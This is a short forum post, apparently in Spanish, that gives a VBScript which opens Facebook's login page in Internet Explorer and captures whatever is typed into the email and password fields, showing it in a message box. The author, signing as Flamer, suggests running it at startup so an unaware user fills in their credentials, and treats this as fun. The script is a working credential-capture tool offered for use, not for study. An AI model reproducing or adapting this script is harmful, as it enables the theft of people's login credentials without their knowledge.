Set objShell = CreateObject("WScript.Shell")
set IE = CreateObject("InternetExplorer.Application")
IE.Navigate "https://www.facebook.com/"
IE.visible = true
Do While IE.ReadyState < 4
Loop
while IE.LocationURL = "https://www.facebook.com/"
u = IE.document.GetElementById("email").value
p = IE.document.GetElementById("pass").value
wend
msgbox u & " " & p
pueden probarlo si gustan y seria mas divertido si ejecutamos el script al iniciar la pc y si el usuario ve la ejecución de Internet explorer normal y rellena los campos jajajajasaludos Flamer y lastima que no se puede usar chrome en vbscript